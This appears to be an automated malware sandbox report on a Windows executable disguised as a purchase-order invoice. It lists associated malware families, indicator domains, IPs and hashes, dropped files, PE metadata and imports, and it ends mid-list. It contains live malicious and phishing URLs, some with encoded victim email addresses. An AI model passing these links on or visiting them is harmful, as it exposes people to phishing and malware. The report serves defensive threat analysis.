                                                                                          • www.sleepstudy.clinic/qb3j/?ldz=rxiD0VSh&jB=cFuFzZ3YvTtiHrP9YgB50pNFy1R7naj/7FPBP4W+y4TnGL17Vly9WSpF5ldignjoFUjCQ6N7kk5Em/mIXQaOgZKVJHh7DFNdo3QSNa+0F8GHeDzAsg==
                                                                                          zamowienie.exeGet hashmaliciousGuLoaderBrowse
                                                                                          • www.3808.app/t4fd/
                                                                                          PO1268931024 - Bank Slip.exeGet hashmaliciousPureLog StealerBrowse
                                                                                          • www.ila.beauty/izfe/
                                                                                          Request for 30 Downpayment.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                          • www.discountprice.shop/dmec/
                                                                                          request-BPp -RFQ 0975432.exeGet hashmaliciousPureLog StealerBrowse
                                                                                          • www.3808.app/4do9/
                                                                                          NOXGUARD AUS 40 UREA__912001_NOR_EN - MSDS.exeGet hashmaliciousUnknownBrowse
                                                                                          • www.3808.app/4do9/
                                                                                          PR. No.1599-Rev.2.exeGet hashmaliciousUnknownBrowse
                                                                                          • www.moneta.life/qzre/
                                                                                          69.57.163.227OREN Engine Stores Requisition 4th quarter OREN-ES-2024-010 & OREN-ES-2024-011.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.mireela.pro/mdol/
                                                                                          quotation RFQ no 123609.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                          • www.mireela.pro/mdol/
                                                                                          Due Payment Invoice PISS2024993.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.mireela.pro/mdol/
                                                                                          P1 BOL.exeGet hashmaliciousUnknownBrowse
                                                                                          • www.hugod.live/oxqa/
                                                                                          bin.exeGet hashmaliciousUnknownBrowse
                                                                                          • www.mireela.pro/mdol/
                                                                                          request-BPp -RFQ 0975432.exeGet hashmaliciousPureLog StealerBrowse
                                                                                          • www.oswino.top/f99b/
                                                                                          NOXGUARD AUS 40 UREA__912001_NOR_EN - MSDS.exeGet hashmaliciousUnknownBrowse
                                                                                          • www.oswino.top/f99b/

                                                                                          Domains

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          www.senova.netRicevuta_di_pagamento.vbsGet hashmaliciousGuLoaderBrowse
                                                                                          • 159.25.16.28
                                                                                          www.caprinaday.netFACTURA A-7507_H1758.exeGet hashmaliciousGuLoaderBrowse
                                                                                          • 62.149.128.45
                                                                                          Technical Datasheet and Specification_PDF.exeGet hashmaliciousUnknownBrowse
                                                                                          • 62.149.128.45
                                                                                          www.yhh5.oneP1 BOL.exeGet hashmaliciousUnknownBrowse
                                                                                          • 38.181.21.169
                                                                                          www.moneta.lifePR. No.1599-Rev.2.exeGet hashmaliciousUnknownBrowse
                                                                                          • 13.248.169.48
                                                                                          www.theawareness.shopOREN Engine Stores Requisition 4th quarter OREN-ES-2024-010 & OREN-ES-2024-011.exeGet hashmaliciousFormBookBrowse
                                                                                          • 172.67.177.220
                                                                                          Due Payment Invoice PISS2024993.exeGet hashmaliciousFormBookBrowse
                                                                                          • 172.67.177.220
                                                                                          mm.exeGet hashmaliciousUnknownBrowse
                                                                                          • 172.67.177.220
                                                                                          FACTURA A-7507_H1758.exeGet hashmaliciousGuLoaderBrowse
                                                                                          • 172.67.177.220
                                                                                          bin.exeGet hashmaliciousUnknownBrowse
                                                                                          • 172.67.177.220

                                                                                          ASNs

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          CLOUDFLARENETUSBank transfer receipt 241015.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                          • 188.114.97.3
                                                                                          https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Ffairwaygilbert.com%2Fnew%2FdtMyxOyre1WJ8xvj5DnN7kDa/Y2hyaXMuaGF3a2luc0BwZXJyeWhvbWVzLmNvbQ==Get hashmaliciousTycoon2FABrowse
                                                                                          • 104.17.25.14
                                                                                          Certificado FNMT-RCM.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          • 188.114.96.3
                                                                                          Justificante.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                                          • 188.114.96.3
                                                                                          n#U00ba 7064-2024.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          • 188.114.97.3
                                                                                          Factura 1-014685.pdf.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          • 188.114.96.3
                                                                                          PO 4800040256.exeGet hashmaliciousFormBookBrowse
                                                                                          • 188.114.96.3
                                                                                          SOLICITUD URGENTE RFQ-05567.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                          • 188.114.97.3
                                                                                          https://pub-535a4999ab4b4c1e81647bad9b888e40.r2.dev/onedrivefresh.htmlGet hashmaliciousUnknownBrowse
                                                                                          • 172.67.74.152
                                                                                          https://ipfox.co.uk/pages/thanks.html#RXJpay5Kb2huc29uQGFnLnN0YXRlLm1uLnVzGet hashmaliciousUnknownBrowse
                                                                                          • 104.26.13.205
                                                                                          CLOUDFLARENETUSBank transfer receipt 241015.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                          • 188.114.97.3
                                                                                          https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Ffairwaygilbert.com%2Fnew%2FdtMyxOyre1WJ8xvj5DnN7kDa/Y2hyaXMuaGF3a2luc0BwZXJyeWhvbWVzLmNvbQ==Get hashmaliciousTycoon2FABrowse
                                                                                          • 104.17.25.14
                                                                                          Certificado FNMT-RCM.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          • 188.114.96.3
                                                                                          Justificante.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                                          • 188.114.96.3
                                                                                          n#U00ba 7064-2024.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          • 188.114.97.3
                                                                                          Factura 1-014685.pdf.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          • 188.114.96.3
                                                                                          PO 4800040256.exeGet hashmaliciousFormBookBrowse
                                                                                          • 188.114.96.3
                                                                                          SOLICITUD URGENTE RFQ-05567.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                          • 188.114.97.3
                                                                                          https://pub-535a4999ab4b4c1e81647bad9b888e40.r2.dev/onedrivefresh.htmlGet hashmaliciousUnknownBrowse
                                                                                          • 172.67.74.152
                                                                                          https://ipfox.co.uk/pages/thanks.html#RXJpay5Kb2huc29uQGFnLnN0YXRlLm1uLnVzGet hashmaliciousUnknownBrowse
                                                                                          • 104.26.13.205
                                                                                          CSLDERicevuta_di_pagamento.vbsGet hashmaliciousGuLoaderBrowse
                                                                                          • 159.25.16.28
                                                                                          i586.elfGet hashmaliciousMiraiBrowse
                                                                                          • 194.245.230.89
                                                                                          na.elfGet hashmaliciousMiraiBrowse
                                                                                          • 159.25.206.111
                                                                                          BfQ121ipnz.elfGet hashmaliciousMiraiBrowse
                                                                                          • 159.25.85.245
                                                                                          5Jan3SztHt.elfGet hashmaliciousUnknownBrowse
                                                                                          • 194.245.254.14
                                                                                          arm4-20240706-0012.elfGet hashmaliciousMiraiBrowse
                                                                                          • 194.245.254.80
                                                                                          3RzVV7rQr8.elfGet hashmaliciousMiraiBrowse
                                                                                          • 194.245.254.18
                                                                                          skid.x86.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                          • 159.25.85.243
                                                                                          3Lf408k9mg.exeGet hashmaliciousPureLog Stealer, SystemBCBrowse
                                                                                          • 194.245.34.140
                                                                                          Gb5Zd5Ird3.elfGet hashmaliciousMiraiBrowse
                                                                                          • 194.245.81.238

                                                                                          JA3 Fingerprints

                                                                                          ⊘No context

                                                                                          Dropped Files

                                                                                          ⊘No context

                                                                                          Created / dropped Files

                                                                                          C:\Users\user\AppData\Local\Temp\-z193609

                                                                                          Download File
                                                                                          Process:C:\Windows\SysWOW64\sxstrace.exe
                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
                                                                                          Category:dropped
                                                                                          Size (bytes):196608
                                                                                          Entropy (8bit):1.121297215059106
                                                                                          Encrypted:false
                                                                                          SSDEEP:384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
                                                                                          MD5:D87270D0039ED3A5A72E7082EA71E305
                                                                                          SHA1:0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
                                                                                          SHA-256:F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
                                                                                          SHA-512:18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
                                                                                          Malicious:false
                                                                                          Reputation:high, very likely benign file
                                                                                          Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                          C:\Users\user\AppData\Local\Temp\reenlarge

                                                                                          Download File
                                                                                          Process:C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe
                                                                                          File Type:data
                                                                                          Category:dropped
                                                                                          Size (bytes):289280
                                                                                          Entropy (8bit):7.994145998988837
                                                                                          Encrypted:true
                                                                                          SSDEEP:6144:Is7kiimJyoFh2Fo5j4wkc0fe+L6IYZ0Ur10nki6XjO1NjXf/pE7eNKUxo:8izJywhv2cvvIupp/1Xq1JS7eN9q
                                                                                          MD5:BA29CB7EF52D0C8D64C4B80DB994F2C7
                                                                                          SHA1:46FFBBAFD21F1091AB6ED7F1F274E204842734FF
                                                                                          SHA-256:4A75B40B1ACD3570B45C5261A21EE771540CD5E2A98898AA7F2E5D2C335D069C
                                                                                          SHA-512:6997D3390CE8BBABC0B1CD31719ABEA825BCDD593A1C8427ED12F2F70D62D57447E236EAF5AA41C6A7B38E712EE91B31A4E49958B38A784AA47CD4F87A4F3CF5
                                                                                          Malicious:false
                                                                                          Preview:.....30UQ...K....UR...jSK...0UQG8XBPCYN30UQG8XBPCYN30UQG8X.PCY@,.[Q.1.c.B...d=84.(0?$+/^.60)V76p!<nAE;q.Vx...y#\T0.J5RfPCYN30U(F1..0$.sSW.l'_.X..tSW.K.~0$.T...m'_..9 1sSW.QG8XBPCY.v0U.F9X.m..N30UQG8X.PAXE2;UQ.<XBPCYN30UaS8XB@CYNC4UQGxXB@CYN10UWG8XBPCYH30UQG8XB GYN10UQG8X@P..N3 UQW8XBPSYN#0UQG8XRPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8Xl$&!:30U..<XB@CYNk4UQW8XBPCYN30UQG8XbPC9N30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCYN30UQG8XBPCY

                                                                                          Static File Info

                                                                                          General

                                                                                          File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                          Entropy (8bit):7.524935967473859
                                                                                          TrID:
                                                                                          • Win32 Executable (generic) a (10002005/4) 95.11%
                                                                                          • AutoIt3 compiled script executable (510682/80) 4.86%
                                                                                          • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                          • DOS Executable Generic (2002/1) 0.02%
                                                                                          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                          File name:19387759999PO-RFQ-INVOICE-doc.exe
                                                                                          File size:1'349'827 bytes
                                                                                          MD5:a60e9acca14bfdc154e146cd6749bafb
                                                                                          SHA1:e39557f156dcd658fbce8e74a041f3df5cbb830b
                                                                                          SHA256:4bf3107873de403932e29874566202fbd90512b8adff6205bb187417bc394a3b
                                                                                          SHA512:217ab9bd49f41283451628e243630605c8395267f624b4a9daba207af85a4b9dde80e898ad5baaf1acf12837f33f0f28591de16d23c7b3ba4bcb83347d8e47ff
                                                                                          SSDEEP:24576:ffmMv6Ckr7Mny5QLg2/hLentK2+Mxr1MzX5V0P0USOpKgp4:f3v+7/5QLhpeTfV1Mr52sUz74
                                                                                          TLSH:A955F112B7C680B6E9A339B1297BF32BEB3575194327C487A7E01E778F211409B36761
                                                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

                                                                                          File Icon

                                                                                          Icon Hash:1733312925935517

                                                                                          Static PE Info

                                                                                          General

                                                                                          Entrypoint:0x416310
                                                                                          Entrypoint Section:.text
                                                                                          Digitally signed:false
                                                                                          Imagebase:0x400000
                                                                                          Subsystem:windows gui
                                                                                          Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                                          DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                                          Time Stamp:0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
                                                                                          TLS Callbacks:
                                                                                          CLR (.Net) Version:
                                                                                          OS Version Major:5
                                                                                          OS Version Minor:0
                                                                                          File Version Major:5
                                                                                          File Version Minor:0
                                                                                          Subsystem Version Major:5
                                                                                          Subsystem Version Minor:0
                                                                                          Import Hash:aaaa8913c89c8aa4a5d93f06853894da

                                                                                          Entrypoint Preview

                                                                                          Instruction
                                                                                          call 00007F29C914361Ch
                                                                                          jmp 00007F29C91373EEh
                                                                                          int3
                                                                                          int3
                                                                                          int3
                                                                                          int3
                                                                                          int3
                                                                                          int3
                                                                                          push ebp
                                                                                          mov ebp, esp
                                                                                          push edi
                                                                                          push esi
                                                                                          mov esi, dword ptr [ebp+0Ch]
                                                                                          mov ecx, dword ptr [ebp+10h]
                                                                                          mov edi, dword ptr [ebp+08h]
                                                                                          mov eax, ecx
                                                                                          mov edx, ecx
                                                                                          add eax, esi
                                                                                          cmp edi, esi
                                                                                          jbe 00007F29C913757Ah
                                                                                          cmp edi, eax
                                                                                          jc 00007F29C913771Ah
                                                                                          cmp ecx, 00000100h
                                                                                          jc 00007F29C9137591h
                                                                                          cmp dword ptr [004A94E0h], 00000000h
                                                                                          je 00007F29C9137588h
                                                                                          push edi
                                                                                          push esi
                                                                                          and edi, 0Fh
                                                                                          and esi, 0Fh
                                                                                          cmp edi, esi
                                                                                          pop esi
                                                                                          pop edi
                                                                                          jne 00007F29C913757Ah
                                                                                          pop esi
                                                                                          pop edi
                                                                                          pop ebp
                                                                                          jmp 00007F29C91379DAh
                                                                                          test edi, 00000003h
                                                                                          jne 00007F29C9137587h
                                                                                          shr ecx, 02h
                                                                                          and edx, 03h
                                                                                          cmp ecx, 08h
                                                                                          jc 00007F29C913759Ch
                                                                                          rep movsd
                                                                                          jmp dword ptr [00416494h+edx*4]
                                                                                          nop
                                                                                          mov eax, edi
                                                                                          mov edx, 00000003h
                                                                                          sub ecx, 04h
                                                                                          jc 00007F29C913757Eh
                                                                                          and eax, 03h
                                                                                          add ecx, eax
                                                                                          jmp dword ptr [004163A8h+eax*4]
                                                                                          jmp dword ptr [004164A4h+ecx*4]
                                                                                          nop
                                                                                          jmp dword ptr [00416428h+ecx*4]
                                                                                          nop
                                                                                          mov eax, E4004163h
                                                                                          arpl word ptr [ecx+00h], ax
                                                                                          or byte ptr [ecx+eax*2+00h], ah
                                                                                          and edx, ecx
                                                                                          mov al, byte ptr [esi]
                                                                                          mov byte ptr [edi], al
                                                                                          mov al, byte ptr [esi+01h]
                                                                                          mov byte ptr [edi+01h], al
                                                                                          mov al, byte ptr [esi+02h]
                                                                                          shr ecx, 02h
                                                                                          mov byte ptr [edi+02h], al
                                                                                          add esi, 03h
                                                                                          add edi, 03h
                                                                                          cmp ecx, 08h
                                                                                          jc 00007F29C913753Eh

                                                                                          Rich Headers

                                                                                          Programming Language:
                                                                                          • [ASM] VS2008 SP1 build 30729
                                                                                          • [ C ] VS2008 SP1 build 30729
                                                                                          • [C++] VS2008 SP1 build 30729
                                                                                          • [ C ] VS2005 build 50727
                                                                                          • [IMP] VS2005 build 50727
                                                                                          • [ASM] VS2008 build 21022
                                                                                          • [RES] VS2008 build 21022
                                                                                          • [LNK] VS2008 SP1 build 30729

                                                                                          Data Directories

                                                                                          NameVirtual AddressVirtual Size Is in Section
                                                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x8cd3c0x154.rdata
                                                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0xab0000x9298.rsrc
                                                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_IAT0x820000x840.rdata
                                                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                          Sections

                                                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                          .text0x10000x800170x802006c20c6bf686768b6f134f5bd508171bcFalse0.5602991615853659data6.634688230255595IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                          .rdata0x820000xd95c0xda00f979966509a93083729d23cdfd2a6f2dFalse0.36256450688073394data4.880040824124099IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                          .data0x900000x1a5180x6800e5d77411f751d28c6eee48a743606795False0.1600060096153846data2.2017649896261107IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                          .rsrc0xab0000x92980x9400f6be76de0ef2c68f397158bf01bdef3eFalse0.4896801097972973data5.530303089784181IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                          Resources

                                                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                          RT_ICON0xab5c80x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                                                          RT_ICON0xab6f00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                                                          RT_ICON0xab8180x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                                                          RT_ICON0xab9400x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishGreat Britain0.48109756097560974
                                                                                          RT_ICON0xabfa80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishGreat Britain0.5672043010752689
                                                                                          RT_ICON0xac2900x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishGreat Britain0.6418918918918919
                                                                                          RT_ICON0xac3b80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishGreat Britain0.7044243070362474
                                                                                          RT_ICON0xad2600x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishGreat Britain0.8077617328519856
                                                                                          RT_ICON0xadb080x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishGreat Britain0.5903179190751445
                                                                                          RT_ICON0xae0700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishGreat Britain0.5503112033195021
                                                                                          RT_ICON0xb06180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishGreat Britain0.6050656660412758
                                                                                          RT_ICON0xb16c00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishGreat Britain0.7553191489361702
                                                                                          RT_MENU0xb1b280x50dataEnglishGreat Britain0.9
                                                                                          RT_DIALOG0xb1b780xfcdataEnglishGreat Britain0.6507936507936508
                                                                                          RT_STRING0xb1c780x530dataEnglishGreat Britain0.33960843373493976
                                                                                          RT_STRING0xb21a80x690dataEnglishGreat Britain0.26964285714285713
                                                                                          RT_STRING0xb28380x43adataEnglishGreat Britain0.3733826247689464
                                                                                          RT_STRING0xb2c780x5fcdataEnglishGreat Britain0.3087467362924282
                                                                                          RT_STRING0xb32780x65cdataEnglishGreat Britain0.34336609336609336
                                                                                          RT_STRING0xb38d80x388dataEnglishGreat Britain0.377212389380531
                                                                                          RT_STRING0xb3c600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishUnited States0.502906976744186
                                                                                          RT_GROUP_ICON0xb3db80x84dataEnglishGreat Britain0.6439393939393939
                                                                                          RT_GROUP_ICON0xb3e400x14dataEnglishGreat Britain1.15
                                                                                          RT_GROUP_ICON0xb3e580x14dataEnglishGreat Britain1.25
                                                                                          RT_GROUP_ICON0xb3e700x14dataEnglishGreat Britain1.25
                                                                                          RT_VERSION0xb3e880x19cdataEnglishGreat Britain0.5339805825242718
                                                                                          RT_MANIFEST0xb40280x26cASCII text, with CRLF line terminatorsEnglishUnited States0.5145161290322581

                                                                                          Imports

                                                                                          DLLImport
                                                                                          WSOCK32.dll__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
                                                                                          VERSION.dllVerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
                                                                                          WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                                                          COMCTL32.dllImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
                                                                                          MPR.dllWNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
                                                                                          WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
                                                                                          PSAPI.DLLEnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
                                                                                          USERENV.dllCreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
                                                                                          KERNEL32.dllHeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
                                                                                          USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, 